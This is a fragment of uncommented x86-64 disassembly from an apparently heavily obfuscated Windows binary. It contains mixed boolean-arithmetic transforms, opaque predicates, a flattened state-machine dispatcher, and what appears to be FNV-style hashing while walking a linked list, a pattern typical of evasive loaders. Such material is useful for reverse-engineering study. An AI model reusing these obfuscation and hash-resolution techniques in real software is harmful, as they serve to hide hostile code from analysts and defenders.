lea r9d, [rdx + 0x20]
mov eax, ecx
xor eax, 0xe8f03d9b
mov esi, ecx
xor esi, 0x92b693a0
or esi, eax
mov ebx, ecx
or ebx, 0x7a46ae3b
xor ebx, 0x7f4fee7f
or eax, ebx
mov r15d, edx
and r15d, 0x85b951c4
mov edi, edx
xor edi, 0x85b951e4
or edi, r15d
not esi
and esi, ebx
xor esi, eax
mov eax, edi
and eax, 0xffffffdf
mov ebx, eax
xor ebx, 0x6727c902
xor edx, 0x291100
and edx, r15d
mov r10d, ebx
xor eax, 0xffffffdf
mov r12d, eax
and r12d, 0x1bcc4c01
and ebx, 0xe433b3de
or ebx, r12d
or eax, r15d
xor ebx, r15d
or r15d, 0x8594c8c6
xor edx, r15d
or r10d, 0x8594c8c6
or edi, 0x7a6b3739
xor edi, r10d
mov r10d, edi
xor r10d, 0x81000
and r10d, edx
not edx
xor edi, 0xe7b341e4
and edi, edx
or edi, r10d
xor ebx, 0x7fefcd03
and ebx, eax
or ebx, edi
mov eax, esi
xor eax, 0x1ac5778a
mov edx, ebx
and edx, 0xe53a8875
or edx, 0x8453780
and ebx, 0x1ac5778a
xor ebx, edx
mov edx, ebx
xor edx, 0xed7fbff5
xor esi, 0xe53a8875
and esi, edx
xor ebx, 0x1280400a
and ebx, eax
or ebx, esi
and r11d, r9d
xor ecx, r9d
xor ecx, 0x6d496c5f
or ecx, r11d
mov edx, ebx
and edx, 0x5bce1f7c
xor edx, ecx
mov eax, ebx
xor eax, ecx
not ecx
or ecx, ebx
and ebx, 0xa431e083
or ebx, 0x1ac01b00
xor edx, ebx
and ecx, eax
mov eax, edx
xor eax, ecx
xor eax, 0xe53fe4ff
xor edx, 0xe53fe4ff
and edx, ecx
or edx, eax
mov ecx, edx
and ecx, 0x563e2c9a
or ecx, 0x9005300
mov eax, edx
and eax, 0xa9c1d365
xor eax, ecx
mov ebx, edx
xor ebx, eax
xor eax, 0xf6ffacff
or eax, edx
xor ebx, 0x9005300
and eax, ebx
mov ecx, eax
xor ecx, edx
and ecx, ebx
mov ebx, edx
and ebx, 0xa4a3d9c2
and edx, 0x5b5c263d
or edx, 0xa0a01800
xor edx, ebx
mov ebx, edx
xor ebx, 0xfbfc3e3d
mov edi, eax
and edi, 0xa4a3d9c2
or edi, 0x4354221d
and eax, 0x5b5c263d
xor eax, edi
mov edi, eax
xor edi, 0xe7f7fbdf
xor edx, 0x403c1c2
and edx, edi
xor eax, 0x18080420
and eax, ebx
or eax, ecx
or eax, edx
mov edx, eax
not edx
and edx, r14d
mov r10d, r14d
xor r10d, eax
xor r10d, edx
mov r11d, r14d
and r11d, 0x9903995d
mov edx, eax
or edx, 0x66fc66a2
mov esi, edx
not esi
mov r9d, eax
and r9d, 0x66fc66a2
and r14d, 0x66fc66a2
or r14d, 0x98008855
and edx, 0xae0a6a3c
mov ebx, esi
and ebx, 0x11019141
or ebx, edx
mov edx, ebx
xor edx, 0x51f595c3
mov edi, ebx
xor ebx, 0xae0a6a3c
mov r15d, ebx
or ebx, r9d
not r9d
xor edi, 0xc263434a
and edi, edx
and esi, 0x91029009
or esi, edi
mov edi, eax
and edi, 0x60080022
mov ecx, r9d
and ecx, 0xc602114
add ecx, edi
add ecx, 0x3020681
mov edi, eax
and edi, 0x2944680
xor edi, ecx
mov ecx, edi
xor ecx, 0x630b0ee3
xor edi, 0x9cf4f11c
and edi, esi
not esi
and esi, ecx
or edi, esi
and r15d, 0x89021805
and edx, 0x10ddc158
or edx, r15d
and eax, 0x662026a2
and r9d, 0x10ddc158
or r9d, eax
xor r9d, edx
not r9d
and r9d, ebx
or r9d, edi
xor r9d, r11d
xor r9d, r14d
mov eax, r9d
xor eax, 0x1031108
mov ecx, r10d
xor r9d, 0xfefceef7
and r9d, r10d
xor r10d, 0x6ee49458
mov edx, eax
and edx, 0x6ee49458
and eax, 0x911b6ba7
or eax, 0x26e40458
xor eax, edx
mov edx, eax
xor edx, 0xb7ff6fff
xor ecx, 0x911b6ba7
and ecx, edx
xor eax, 0x48009000
and eax, r10d
or r9d, eax
or r9d, ecx
mov eax, 0x1f53ad1b
jmp 0x140092cd0
cmp eax, 0x58a11e19
je 0x140092cb1
cmp eax, 0x71946ac1
jne 0x140092cd0
mov eax, 0x3117fdc4
jmp 0x140092cd0
cmp eax, 0x22c0f4b1
jne 0x14009376f
mov eax, 0x1f53ad1b
mov r9d, dword [rbp + 0x4c8]
jmp 0x140092cd0
mov dword [rbp + 0x4c8], r8d
mov eax, dword [rbp + 0x4c8]
cmp eax, 0x41
setge byte [rbp + 0x4e8]
mov eax, dword [rbp + 0x4c0]
jmp 0x140092cd0
cmp byte [rbp + 0x4e8], 0
mov eax, 0x22c0f4b1
cmovne eax, r13d
jmp 0x140092cd0
cmp eax, 0x1f53ad1b
jne 0x140092cd0
mov esi, dword [rbp + 0x4c4]
mov eax, esi
and eax, 0xa06206ca
mov ecx, esi
and ecx, 0x5f9df935
or ecx, 0x620008
xor ecx, eax
mov edx, ecx
xor edx, 0xff9dfff7
mov ebx, ecx
xor ebx, 0x3c382075
and ebx, edx
mov eax, ecx
and eax, 0xc3a5df82
xor eax, 0x200000
or eax, ebx
xor ecx, 0x620008
or ecx, edx
xor eax, 0xc3a5df82
and eax, ecx
mov edx, eax
and edx, 0x1ba9fcee
mov ecx, eax
xor ecx, 0xa0020200
and ecx, eax
mov ebx, eax
or ebx, 0xe4560311
xor edx, 0xb1aab604
and edx, ebx
mov r14d, eax
or r14d, 0xee574bfb
mov ebx, eax
and ebx, 0xa0020200
xor ebx, 0xaa034aea
and ecx, 0xe4560311
or ecx, ebx
mov ebx, r14d
and ebx, 0x921be1fb
and eax, 0x1a01404
or eax, ebx
not r14d
and r14d, edx
and edx, 0x3ba9feee
xor edx, eax
xor edx, 0x13b9f5ff
or r14d, edx
xor r14d, ecx
mov eax, r14d
and eax, 0x8b181a5c
or eax, 0x34434021
and r14d, 0x74e7e5a3
xor r14d, eax
mov eax, r14d
xor eax, 0x2feabccf
mov ecx, r14d
xor ecx, 0xd0154330
mov edx, r14d
or edx, 0x2769e20a
xor edx, 0xf77de33a
xor r14d, 0xf77ca13a
and r14d, eax
or r14d, edx
or ecx, eax
xor r14d, 0x2769e20a
and r14d, ecx
mov eax, r14d
xor eax, 0x2e69652b
mov ecx, eax
and ecx, 0xe043fd87
or ecx, 0xaa80010
mov r12d, eax
and r12d, 0x1fbc0278
xor r12d, ecx
and eax, 0x2e69652b
mov ecx, eax
xor ecx, r12d
xor ecx, 0x24c1653b
xor r12d, 0x2441652b
and r12d, eax
or r12d, ecx
mov eax, esi
and eax, 0xfb1401a1
or eax, 0x688008
mov r11d, esi
and r11d, 0x4ebfe5e
xor r11d, eax
mov eax, r11d
xor eax, 0xbaad4363
or r11d, 0x453a3c94
xor r11d, 0x457abc9c
or r11d, eax
mov eax, esi
and eax, 0xbac5c36b
mov ecx, r11d
xor ecx, 0x29379af7
mov edx, esi
and edx, 0x92c04108
or edx, 0x29151af2
mov ebx, esi
and ebx, 0x28058263
xor ebx, edx
mov edx, ebx
xor edx, 0xffdd7ffa
mov edi, r11d
xor edi, 0xd6c86508
and edi, edx
xor ebx, 0x228005
and ebx, ecx
or ebx, edi
mov ecx, r11d
xor ecx, eax
not r11d
or r11d, eax
and r11d, ecx
or r11d, ebx
mov eax, esi
and eax, 0x3e90666b
mov ecx, esi
and ecx, 0xc16f9994
or ecx, 0x2a106008
xor ecx, eax
xor ecx, r11d
mov eax, r11d
xor eax, esi
xor eax, 0x94aca640
xor r11d, 0x94aca640
and r11d, esi
or r11d, eax
mov eax, ecx
xor eax, 0x414339b7
or eax, r11d
xor r11d, ecx
xor r11d, 0xbebcc648
and r11d, eax
mov r15d, r9d
not r15d
mov edx, r9d
and edx, 0x437fed4a
mov eax, r9d
and eax, 0xbc8012b5
or eax, 0x4127600a
xor eax, edx
xor eax, 0x2588d40
or eax, r9d
mov ebx, r9d
and ebx, 0x25b4148
xor ebx, 0xadb43e9
mov ecx, r9d
xor ecx, 0xbedb53fd
and ecx, edx
mov edx, eax
and edx, 0xadb43e9
and eax, 0xf524bc16
or eax, 0x8004140
xor eax, edx
mov edx, ecx
not edx
or edx, r9d
not edx
and edx, 0x25b4148
or ecx, ebx
or ecx, edx
mov edx, ecx
xor edx, eax
xor edx, 0x4924ed42
and edx, ecx
xor eax, 0x25b0008
or eax, ecx
xor eax, edx
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0x8801225
and ebx, ecx
mov ecx, eax
or ecx, 0x437fed4a
and ebx, 0xbc8012b5
mov esi, eax
and esi, 0x437fed4a
lea r8d, [rsi - 0x4bffff70]
mov edi, eax
and edi, 0x14000010
mov edx, ecx
and edx, 0xa0448dc0
or edx, edi
xor edx, ebx
lea ebx, [rdx + 0x1384000]
mov edi, eax
and edi, 0x28800011
and ecx, 0x9729dbac
or ecx, edi
xor ecx, esi
mov edi, esi
xor edi, 0x4a83322f
and edi, ebx
xor edx, 0xf647adda
and edx, r8d
or edx, edi
xor ecx, 0xbfa9dbbd
xor eax, 0x437fed4a
or eax, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xb735624
mov ebx, eax
or ebx, 0xbf61617e
mov edx, eax
xor edx, 0x4bedc8a5
and edx, ecx
mov ecx, ebx
and ecx, 0xab6bb319
and eax, 0x40940c80
or eax, ecx
xor eax, edx
xor eax, 0xebeda999
xor ebx, 0xffede9ff
and ebx, edx
or ebx, eax
mov ecx, ebx
xor ecx, 0xb412375a
mov edx, ebx
and edx, 0x41963a78
xor edx, 0x41840820
mov eax, ebx
xor eax, 0xf5840d22
and eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0xbe69c587
mov edx, eax
and edx, 0xc7ae538e
xor edx, 0x41861208
mov edi, eax
xor edi, 0x863869f6
or edi, edx
mov edx, ebx
xor edx, 0x73bc64d4
xor ebx, 0x4bedc8a5
or ebx, edx
and ebx, edi
mov edx, eax
xor edx, 0x9000a0ac
and edx, ecx
mov ecx, eax
xor ecx, edx
xor ecx, 0x6fff5f53
xor eax, 0x6fff5f53
and eax, edx
or eax, ecx
mov esi, ebx
xor esi, 0x1638c95a
mov edi, ebx
xor edi, 0xdba443a
and edi, esi
mov ecx, ebx
or ecx, 0xe47d729f
mov r8d, ecx
and r8d, 0x160e96b2
mov edx, ebx
and edx, 0x9800940
or edx, r8d
xor edx, edi
xor edx, 0xd8e16b2
xor ecx, 0xedff76bf
and ecx, edi
or ecx, edx
xor ecx, eax
xor ebx, eax
xor ebx, 0x1638c95a
and esi, eax
or esi, ebx
mov eax, ecx
xor eax, 0xe47d729f
xor ecx, esi
xor ecx, 0xe47d729f
or eax, esi
not eax
or eax, ecx
mov ecx, eax
and ecx, 0x6ec3b5e4
or ecx, 0x80801
and eax, 0x913c4a1b
or eax, 0x28c13164
xor eax, ecx
mov ecx, eax
xor ecx, 0xd736c69a
mov edx, eax
or edx, 0xfb4c88f1
xor edx, 0xfbcdb9f5
mov ebx, eax
xor ebx, 0xd385b194
and ebx, ecx
or ebx, edx
xor eax, ebx
xor ebx, 0x4b3770e
or ebx, ecx
xor eax, 0x2c7a4e6b
and eax, ebx
or r15d, 0xd1969ad4
mov ecx, r9d
and ecx, 0x248000a
mov edx, r15d
and edx, 0x98b14025
or edx, ecx
mov r10d, r15d
and r10d, 0x25043500
or r10d, edx
mov ecx, r10d
and ecx, 0xb2a41504
xor ecx, 0x20280c0
xor r10d, 0xf0ec1f1e
or r10d, ecx
and r9d, 0x22000528
and r15d, 0x5debeac7
or r15d, r9d
mov ecx, r15d
and ecx, 0xc49602b
xor ecx, 0xc496003
xor r15d, 0x10b280fc
or r15d, ecx
mov ecx, r10d
and ecx, 0xfffdff3f
xor ecx, 0x1aaf6d2c
and ecx, r10d
mov edx, r10d
and edx, 0x1aad6dac
or edx, 0x24001052
mov ebx, r15d
and ebx, 0x64400203
or r10d, r15d
and r15d, 0xa296d28
or r15d, 0x64528243
xor r15d, ebx
xor r15d, edx
xor r15d, ecx
xor r15d, 0x41429241
not r10d
or r10d, r15d
mov r9d, r11d
mov r8d, r11d
mov r15d, r11d
mov esi, r11d
mov ebx, r11d
mov edi, r11d
and edi, 0x100108
mov edx, r11d
or edx, 0x3bac76d0
mov ecx, r11d
xor ecx, 0xc453892f
or ecx, edx
and edx, 0xfc6bc837
or edx, edi
mov edi, r11d
xor edx, r11d
and r11d, 0x8d80cfea
xor r9d, 0x1008060
and r9d, r11d
and r8d, 0x70663010
and r15d, 0x2190005
or r15d, 0x7c006010
xor r15d, r8d
and esi, 0x1008060
or esi, 0x4804600
xor esi, r9d
xor esi, r15d
xor esi, 0xaff1605
and ebx, 0x727f3015
or ebx, 0x8000cf62
xor ebx, r11d
xor ebx, 0xf27fff77
xor edi, 0x8d80cfea
or edi, ebx
not edi
or edi, esi
mov r9d, edi
xor r9d, 0x727f3015
mov ebx, edi
xor ebx, 0xb62cb93a
and ebx, r9d
mov r11d, edi
xor r11d, 0x49d346c5
or r11d, ebx
xor edx, 0x38284010
and edx, ecx
mov ebx, r12d
xor ebx, 0x40008000
and ebx, r12d
and r14d, 0x40008000
xor r14d, 0x4a849408
and ebx, 0x44018902
or ebx, r14d
mov ecx, r12d
mov r8d, r12d
mov esi, r12d
and esi, 0x8010000c
and ecx, 0x420021
or ecx, 0x45880090
xor ecx, ebx
and r8d, 0x3bac76d0
xor r8d, 0x8afe54bd
xor esi, ecx
xor esi, 0x1a04008
and esi, r8d
xor ecx, 0x41a14902
or ecx, r8d
xor ecx, esi
mov ebx, r11d
mov esi, r11d
and esi, 0xb2e0d7b3
and ebx, 0x4d1f284c
or ebx, 0x22804682
xor ebx, esi
mov r14d, ebx
xor r14d, 0x6f9f6ece
mov esi, edx
and esi, 0xb2e0d7b3
or esi, 0x45082048
mov r13d, edx
and r13d, 0x4d1f284c
xor r13d, esi
mov r8d, ebx
xor r8d, 0x98385838
and r8d, r14d
mov esi, r13d
xor esi, 0x8170804
mov r15d, r13d
xor r15d, 0x4fc10d
and r15d, esi
mov r14d, ebx
or r14d, 0x858c909
or r13d, 0xf7a736f6
xor r13d, 0xf7eff7ff
or r13d, r15d
mov esi, r14d
and esi, 0x8899f000
and ebx, 0x772606f6
or ebx, esi
mov esi, r11d
xor ebx, r8d
xor r14d, 0x9878d939
and r14d, r8d
mov r8d, r11d
and esi, 0x9e366bbf
xor esi, edx
xor r8d, edx
not edx
or edx, r11d
xor ebx, 0x9838d030
or r14d, ebx
mov ebx, r12d
xor r14d, r13d
mov r15d, r12d
and r11d, 0x61c99440
or r11d, 0x21040b3
xor esi, r11d
and edx, r8d
mov r8d, esi
xor r8d, edx
xor r8d, 0xfdefbf4c
xor esi, 0xfdefbf4c
and esi, edx
or esi, r8d
mov edx, esi
and edx, 0xc0508439
or edx, 0x892802
and esi, 0x3faf7bc6
xor esi, edx
mov r11d, esi
xor r11d, 0x892802
mov r8d, r14d
and r8d, 0x4e3f9ca4
mov r13d, r11d
and r13d, 0xb1c0635b
xor r13d, r8d
mov edx, r11d
xor r11d, r14d
xor esi, 0xff76d7fd
or esi, r14d
and r14d, 0xb1c0635b
or r14d, 0xc081c80
xor r13d, r14d
and edx, 0x4e3f9ca4
or edx, 0xb040624a
xor edx, r13d
xor edx, 0x43b78135
and esi, r11d
or esi, edx
mov r8d, esi
not r8d
mov edx, esi
and edx, 0x4de1c672
mov r11d, esi
or r11d, 0x4de1c672
mov r14d, r11d
and r14d, 0x26011ca7
and r8d, 0x901e2108
or r8d, r14d
mov r14d, esi
xor r14d, 0x4010422
and r14d, edx
not edx
xor r14d, r8d
mov r8d, esi
and r8d, 0x420
xor r11d, edx
and edx, 0x26010887
add r8d, edx
add r8d, 0xd1f0c210
xor r8d, r14d
mov r13d, edi
mov r14d, edi
xor r15d, edi
xor edi, 0x8d80cfea
and edi, r12d
xor ecx, 0x4de1c672
xor r8d, 0xd1f0d630
xor esi, 0x4de1c672
or esi, r11d
not esi
or esi, r8d
mov edx, ecx
and edx, 0xb7fb9257
or edx, 0x42d28
and ecx, 0x48046da8
xor ecx, edx
mov r8d, ecx
mov edx, esi
and edx, 0xb7fb9257
or edx, 0x40004d08
and esi, 0x48046da8
xor esi, edx
mov edx, esi
xor edx, 0xf7fbdf5f
xor ecx, 0x48004080
and ecx, edx
mov r11d, eax
not r11d
xor r8d, 0xb7ffbf7f
xor esi, 0x80420a0
and esi, r8d
mov r8d, r10d
xor r8d, 0xb2a695c4
or esi, ecx
and r13d, 0xa631f20f
xor r13d, 0x8400c20a
xor r14d, 0x2bb13de5
and ebx, 0x59ce0df0
or ebx, 0x86009003
and r12d, 0xa631f20f
xor r12d, ebx
and r13d, r9d
or r13d, r14d
mov ecx, r12d
xor r12d, 0xdfce9df3
and r12d, r13d
not r13d
xor ecx, r13d
xor ecx, 0xdfce9df3
and ecx, r13d
or r12d, ecx
mov ecx, r15d
xor ecx, 0x8d80cfea
or edi, ecx
mov r13d, r15d
xor r13d, 0x727f3015
xor r15d, edi
xor r15d, 0x727f3015
or r13d, edi
not r13d
or r13d, r15d
mov ecx, r13d
and ecx, 0xcde4750
or ecx, 0x21209829
and r13d, 0xf321b8af
xor r13d, ecx
mov ecx, r13d
xor ecx, 0xdedf67d6
and ecx, r12d
xor r13d, r12d
xor r13d, 0xdedf67d6
or r13d, ecx
mov ecx, r13d
and ecx, 0xa94c8ce7
lea r14d, [rcx + 0x42217110]
xor ecx, 0xa94c8ce7
mov r9d, r14d
and r9d, 0x4804a0a0
mov ebx, r13d
xor ebx, 0x81480c46
and ebx, ecx
and ecx, 0x20000001
or ecx, r9d
mov edi, ecx
and edi, 0x600080a1
and r14d, 0x8042000
add edi, r14d
add edi, 0x5021e54
xor edi, ebx
xor edi, 0x33805e5d
xor ecx, 0x20000001
and ecx, ebx
or ecx, edi
and r13d, 0x56b37318
xor r13d, ecx
mov ecx, r13d
xor ecx, 0x283593b1
mov edx, r13d
xor edx, 0xd7ca6c4e
and edx, ecx
xor r13d, edx
xor r13d, 0xd7ca6c4e
or r13d, edx
mov ecx, r13d
and ecx, 0xab469b10
or ecx, 0x50b0608d
and r13d, 0x54b964ef
xor r13d, ecx
mov ecx, r13d
xor ecx, 0xaf4f9f72
mov edx, esi
not edx
and edx, ecx
xor r13d, 0x50b0608d
and r13d, esi
or edx, r13d
and r13d, ecx
and ecx, esi
xor edx, ecx
xor r13d, edx
mov ecx, eax
and ecx, 0x4093dba5
or ecx, 0x3e64205a
mov edx, eax
and edx, 0xbf6c245a
xor edx, ecx
mov r14d, edx
xor r14d, 0xc19bdfa5
mov ebx, r10d
xor ebx, 0x4d596a3b
xor edx, 0x3e64205a
mov edi, edx
or edi, r8d
and edx, ebx
and r14d, r8d
or r14d, edx
xor r14d, edi
mov r8d, r14d
not r8d
mov edx, eax
and edx, 0xd240d802
or edx, 0x2049
or r11d, 0xde6c8a14
and r11d, 0xff7c8ab4
xor r11d, edx
mov edx, r11d
xor edx, 0xca20210
and eax, 0xcaf275d
lea ebx, [rax - 0x2dbf27fe]
xor r11d, 0xd754f
and r11d, ebx
xor eax, 0x2d3107b0
and eax, edx
or eax, r11d
mov r15d, r10d
xor r15d, 0x41f64d66
mov edx, r15d
and edx, 0x84a6247d
mov ebx, eax
and ebx, 0x84afa47d
or ebx, 0x29001a80
and eax, 0x7b505b82
and r10d, 0x98000
add edx, r10d
add edx, 0x19105080
and r15d, 0x7b505b82
xor r15d, edx
xor r15d, eax
xor r15d, ebx
mov r9d, r15d
xor r9d, 0xcfefb5ff
mov r12d, r9d
and r12d, 0x260dd63e
mov eax, r15d
and eax, 0xd9f229c1
mov r10d, r8d
mov ecx, r8d
mov r11d, r9d
or r9d, r8d
and r8d, 0x20cc21a
or r8d, 0x332424
and r10d, 0x90c00100
or r10d, 0x10
and ecx, 0x493228c1
or ecx, 0x8080440c
xor ecx, r10d
mov edx, r14d
or edx, 0xdbfeebdb
xor edx, r8d
xor edx, ecx
xor edx, 0xa6beb606
mov ecx, r14d
xor ecx, 0xd9f229c1
xor r14d, 0x260dd63e
or r14d, ecx
not r14d
or r14d, edx
mov ecx, r12d
not ecx
mov edx, eax
xor edx, 0xefeff7ff
mov edi, r15d
xor edi, 0x200c436
and edi, r12d
mov ebx, eax
xor ebx, 0xcd3d5188
and ebx, edx
or eax, 0xdd2d5988
and r11d, 0x91008
xor r12d, edx
xor edx, ecx
and ecx, 0xc5044100
add ecx, r11d
add ecx, 0x2082a441
xor ecx, edi
mov esi, eax
and esi, 0x451651c1
and r15d, 0xc02000
or r15d, esi
xor eax, 0xdd3d5988
and eax, ebx
and ebx, 0xd9fb29c9
xor ebx, r15d
xor ebx, 0x41100180
or eax, ebx
xor eax, ecx
xor eax, 0x38abbcc9
or edx, r12d
not edx
or edx, eax
xor edx, r14d
mov eax, r9d
not eax
and eax, edx
xor r9d, edx
xor r9d, eax
mov esi, r13d
and esi, 0x1f489344
lea eax, [rsi + 0x60b00cb3]
mov ecx, esi
xor ecx, 0x1f489344
mov edx, r13d
and edx, 0xd338e252
or edx, 0x2c47198d
mov ebx, r13d
and ebx, 0x2cc71dad
xor ebx, edx
mov edx, ebx
xor edx, 0x330f8ac9
mov edi, r13d
not edi
xor ebx, 0xccf07536
and ebx, edi
mov r14d, edx
and r14d, r13d
or r14d, ebx
and r14d, edx
mov r10d, r9d
and r10d, 0xe0b76cbb
lea edx, [r10 + 0x1c000300]
mov ebx, r9d
and ebx, 0x1f489344
xor ebx, edx
mov dword [rbp + 0x4c4], ebx
mov edx, eax
and edx, 0x12086e0
xor r13d, 0x8480104
and r13d, ecx
and ecx, 0x16001000
or ecx, edx
xor ecx, 0x96027819
or r13d, ecx
mov ecx, r13d
xor ecx, 0x8540002
and ecx, 0x8d56825a
mov edx, r13d
and edx, 0x12287da5
or edx, ecx
xor edx, 0xb557ca28
mov r11d, r13d
xor r11d, 0x9722fef9
mov ecx, r11d
and ecx, 0xa001040
or ecx, edx
and eax, 0x55d88b24
xor esi, 0x3569a797
or esi, eax
mov eax, esi
xor eax, 0x7f79bff7
and eax, ecx
not ecx
mov edi, r14d
and edi, 0x2a2134d3
mov edx, esi
xor edx, 0x7ff8bff7
or esi, 0x80064008
and esi, ecx
or eax, esi
and esi, edx
and edx, ecx
xor eax, edx
or esi, eax
mov ebx, r14d
and ebx, 0xd5decb2c
mov eax, ebx
xor eax, 0x4912a796
mov edx, eax
or edx, 0x5d4314bb
mov ecx, r14d
or ecx, 0xaabdffd7
xor ecx, edx
mov r15d, r14d
xor r15d, 0x22202040
and r15d, edi
xor ebx, 0xd5decb2c
mov r12d, ebx
or ebx, edi
not edi
mov edx, r14d
and edx, 0x20200000
mov r8d, edi
and r8d, 0x2006240
add edx, r8d
add edx, 0x4c400028
xor edx, r15d
mov r8d, edx
xor r8d, 0xecfc892c
mov r15d, ecx
xor ecx, 0x2a3197d7
and ecx, r8d
xor r15d, 0x6000
xor edx, 0x130376d3
and edx, r15d
or edx, ecx
mov r15d, dword [rbp + 0x4c4]
xor r15d, 0xfcb76fbb
and r15d, r9d
xor r10d, 0xe0b76cbb
and r12d, 0x504a8308
and eax, 0x859448b4
or eax, r12d
mov ecx, r14d
and ecx, 0xa203442
and edi, 0xa59548b5
or edi, ecx
xor edi, eax
xor edi, 0xdeeefffa
and edi, ebx
or edi, edx
mov eax, esi
xor eax, 0x4625c679
mov ecx, edi
and ecx, 0x4625c679
or ecx, 0x21981982
and edi, 0xb9da3986
xor edi, ecx
mov ecx, edi
xor ecx, 0x67bddffb
xor esi, 0xb9da3986
and esi, ecx
xor edi, 0x98422004
and edi, eax
mov eax, r13d
xor eax, 0x130881e4
and eax, r11d
mov ecx, r13d
or ecx, 0xdbd780fa
mov edx, ecx
and edx, 0xc51ea4c
and r13d, 0x281501
or r13d, edx
xor r13d, eax
xor r13d, 0x2859814c
xor ecx, 0xfbdf81fe
and ecx, eax
or ecx, r13d
mov r13d, 0x58a11e19
mov eax, r14d
and eax, 0xdbd780fa
or r11d, r14d
and r14d, 0x24287f05
or r14d, 0x43d68078
xor r14d, eax
xor r14d, ecx
xor r14d, 0x98010082
and r14d, r11d
or r14d, edi
or r14d, esi
mov eax, r9d
and eax, 0x3089a
mov ecx, r10d
and ecx, 0x804000
or ecx, eax
xor ecx, 0x10804204
xor r9d, 0xe0342421
and r9d, r10d
or r9d, ecx
mov eax, r9d
xor eax, 0xef7cb561
mov edx, r9d
and edx, 0x30240e
mov ecx, eax
and ecx, 0xf1cfcab1
or ecx, edx
mov ebx, ecx
xor ebx, 0xe303540
mov edx, ebx
and edx, 0x74b34cb1
and ecx, 0x814ca20e
or ecx, edx
or ebx, 0xa45bbedf
mov esi, ecx
xor esi, 0x51a47060
and esi, ebx
mov ebx, r15d
and ebx, 0xa45bbedf
or ebx, 0x1b044100
mov r8d, r15d
and r8d, 0x5ba44120
xor r8d, ebx
mov ebx, esi
not ebx
and ecx, 0x18000
mov r11d, esi
and r11d, 0x10c048b0
mov edi, ebx
and edi, 0xec26020a
mov edx, esi
and edx, 0x1182445
or edx, ecx
lea ecx, [rdi + r11]
add edi, r11d
add edi, 0x2018000
and r10d, 0x40a44020
xor edi, edx
mov edx, r10d
xor edx, 0xfce65bba
xor ecx, 0xec26120a
and ecx, edx
mov edx, esi
and edx, 0x718c06f1
and ebx, 0x8473e80e
or ebx, edx
or esi, r10d
xor ebx, r10d
lea edx, [r10 + 0x319a445]
xor edi, 0x281c020
and edx, edi
xor ebx, 0x718c06f1
and ebx, esi
or ebx, ecx
or ebx, edx
mov ecx, r8d
xor ecx, 0xbf5fffdf
xor r8d, 0x40a00020
and r8d, ebx
not ebx
and ebx, ecx
mov ecx, r9d
and r9d, 0xc09208a5
and eax, 0x3a25f71a
or eax, r9d
xor ecx, r15d
xor eax, r15d
mov edx, r15d
not edx
or ebx, r8d
xor ecx, 0xef7cb561
and ecx, edx
xor eax, 0x3aa7ff9e
or eax, ecx
mov ecx, eax
and ecx, 0xd49ab90b
mov edx, eax
and edx, 0x2b6546f4
or edx, 0x4412a808
xor edx, ecx
mov ecx, edx
xor ecx, 0x6f77eefc
mov edi, ebx
xor edi, 0x2b6546f4
and edi, ecx
not eax
and eax, ebx
xor ebx, 0xd49ab90b
xor edx, 0x90881103
and edx, ebx
or eax, edx
or eax, edi
xor eax, r14d
imul ecx, eax, 0x1000193
mov rax, qword [rbp + 0x4d8]
add rax, 2
mov rdi, qword [rbp + 0x410]
jmp 0x140092bd4
mov rax, qword [rbp + 0x468]
mov rax, qword [rax]
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x498]
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x4d8], rax
mov ecx, 0xc2cb542e
mov edx, eax
nop dword [rax]
cmp ecx, 0xdae09d2a
jg 0x1400947f0
cmp ecx, 0xc2cb542e
je 0x14009480a
cmp ecx, 0xc508309f
je 0x140094829
cmp ecx, 0xcc44ccd7
jne 0x1400947c0
jmp 0x1400948a2
cmp ecx, 0xdae09d2b
je 0x140094830
cmp ecx, 0xf10f0061
je 0x140094849
cmp ecx, 0x68e1357e
jne 0x1400947c0
jmp 0x140094860
mov rcx, qword [rbp + 0x498]
cmp rcx, qword [rbp + 0x4d8]
mov ecx, 0xdae09d2b
mov edx, 0x68e1357e
cmove ecx, edx
xor edx, edx
jmp 0x1400947c0
mov ecx, 0xf10f0061
jmp 0x1400947c0
mov rcx, qword [rbp + 0x498]
cmp qword [rcx + 0x30], 0
setne dl
mov ecx, 0x68e1357e
jmp 0x1400947c0
mov ecx, dword [rbp + 0x3e0]
jmp 0x1400947c0
mov eax, edx
mov ecx, dword [rbp + 0x488]
jmp 0x1400947b7
mov rax, qword [rbp + 0x420]
mov rax, qword [rax]
mov rdi, qword [rax + 0x30]
mov eax, 0x62abb3bd
jmp 0x140092b60
mov eax, dword [rbp + 0x430]
cmp eax, 0xef148ef1
mov eax, 0x52b0d9bb
mov ecx, 0xa588d843
cmove eax, ecx
jmp 0x140092b60
and al, 1
mov byte [rbp + 0x4c8], al
cmp byte [rbp + 0x4c8], 0
mov eax, 0x681faaa4
mov ecx, 0x3a8cbc47
cmovne eax, ecx
jmp 0x140092b60
mov rax, qword [rbp + 0x458]
mov rax, qword [rbp + 0x4b0]
mov qword [rax], rdi
mov eax, 0x96c966fb
jmp 0x140092980
mov rax, qword [rbp + 0x4b0]
mov rbx, qword [rax]
mov eax, dword [0x1400f2760]
mov ecx, dword [0x1400f2764]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x447]
cmp ecx, 0xa
setl byte [rbp + 0x446]
mov qword [rbp + 0x3f0], rbx
test rbx, rbx
mov eax, 0x9b6ef62f
mov ecx, 0xf28a6f13
cmove ecx, eax
mov dword [rbp + 0x464], ecx
mov eax, 0xed3913cb
cmp eax, 0xed3913ca
jg 0x140094950
cmp eax, 0x9ffa038d
je 0x14009497f
cmp eax, 0xa5ff9edc
jne 0x140094930
jmp 0x14009966a
cmp eax, 0x73223574
je 0x1400949a5
cmp eax, 0xed3913cb
jne 0x140094930
mov cl, byte [rbp + 0x447]
cmp byte [rbp + 0x446], 0
mov eax, 0x73223574
mov edx, 0x9ffa038d
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140094930
lea rax, [0x1400f2130]
mov qword [rbp + 0x4c8], rax
mov rax, qword [rbp + 0x4c8]
mov rax, qword [rax]
mov qword [rbp + 0x4b0], rax
mov eax, 0xe4ecd053
jmp 0x140094a00
lea rax, [0x1400f2130]
mov qword [rbp + 0x4c8], rax
mov rax, qword [rbp + 0x4c8]
mov rax, qword [rax]
mov qword [rbp + 0x4b0], rax
mov eax, 0xe4ecd053
jmp 0x140097010
